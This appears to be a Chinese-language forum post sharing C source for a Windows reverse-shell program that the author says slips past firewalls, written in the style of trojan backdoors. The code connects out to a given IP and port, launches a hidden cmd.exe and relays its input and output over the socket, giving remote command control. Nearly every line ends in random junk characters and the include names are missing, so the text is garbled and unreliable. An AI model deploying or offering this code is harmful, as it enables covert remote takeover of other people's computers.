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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~JJv 2  
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/* ============================== tx.sUu6  
Rebound port in Windows NT OB%y'mo7]  
By wind,2006/7 .?qS8:yA  
===============================*/ c<=1,TB"-_  
#include d{ &z^  
#include 4-MA!&  
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#pragma comment(lib,"wsock32.lib") |8"HTBb\CW  
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void OutputShell(); uB BE!w_  
SOCKET sClient; \;]~K6=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4{V=X3,x  
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void main(int argc,char **argv)  6O}r4*  
{ c72/e7gV  
WSADATA stWsaData; VCIG+Gz  
int nRet; DIY WFVh  
SOCKADDR_IN stSaiClient,stSaiServer; (+@H !>r$$  
y =CemJ[~  
if(argc != 3) j<[<qU:  
{ Lqt]  
printf("Useage:\n\rRebound DestIP DestPort\n"); M1:m"#=  
return; XX =A1#H  
} |<E%hf  
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WSAStartup(MAKEWORD(2,2),&stWsaData); KM6r}CDHs  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QL3%L8  
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stSaiClient.sin_family = AF_INET; F[lHG,g-  
stSaiClient.sin_port = htons(0); BkcOsJIz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &wJ"9pQ~6E  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Kxg09\5i  
{ rei<{woX  
printf("Bind Socket Failed!\n"); \(Iy>L.  
return; ^;'3(m=  
} n`6vM4rM)  
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stSaiServer.sin_family = AF_INET; o_cj-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3E#acnqn*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E @7! :  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oD.f/hi0|  
{ Fw|5A"9'a'  
printf("Connect Error!"); | .PLfc;  
return; qYE-z( i  
} mesR)fTI  
OutputShell(); ,E_hG3}}  
} {w2<;YXj!  
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void OutputShell() %FwLFo^v  
{ ^OUkFH;dG?  
char szBuff[1024]; V r y#  
SECURITY_ATTRIBUTES stSecurityAttributes; *w!H -*`  
OSVERSIONINFO stOsversionInfo; 9 eP @}C6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8g<3J-7Mm  
STARTUPINFO stStartupInfo; Es?~Dd  
char *szShell; $]O\Ryf6  
PROCESS_INFORMATION stProcessInformation; >4;A (s`  
unsigned long lBytesRead; ydpsPU?wj5  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 419t"1b  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); do G&qXw  
stSecurityAttributes.lpSecurityDescriptor = 0; ) yjHABGJ  
stSecurityAttributes.bInheritHandle = TRUE; uvT]MgT  
l?ofr*U&-x  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2lQ'rnqS)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MVV<&jho{^  
Zcc6E2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7.]ZD`"Bb  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :z.< ||T  
stStartupInfo.wShowWindow = SW_HIDE; JIK;/1  
stStartupInfo.hStdInput = hReadPipe; mWtwp-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <.Pr+g  
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GetVersionEx(&stOsversionInfo); {W@Y4Qqq  
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switch(stOsversionInfo.dwPlatformId) Y1+f(Q  
{ WO]dWO6Mm  
case 1: 2+0'vIw}  
szShell = "command.com"; Hq=RtW2  
break; 4rv3D@E  
default: C0'Tua'  
szShell = "cmd.exe"; GMFp,Df  
break; #\w~(Nm-  
} Rf7py)  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VaH#~!  
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send(sClient,szMsg,77,0); =8[HC}s|$  
while(1) aVd{XVE  
{ Kg9REL@,s  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k0%4&pU  
if(lBytesRead) O GSJR`yT  
{ RzXxnx)]q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o <sX6a9e  
send(sClient,szBuff,lBytesRead,0); /z6NJ2jb  
} Kx ';mgG#$  
else U1B5gjN  
{ X=-pNwO   
lBytesRead=recv(sClient,szBuff,1024,0); "#(]{MY  
if(lBytesRead<=0) break; ^oM*f{9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }56"4/  Z  
} 6X)8vQH  
} C)Mh  
v]c1|?9p'  
return; $$`}b^,/  
}
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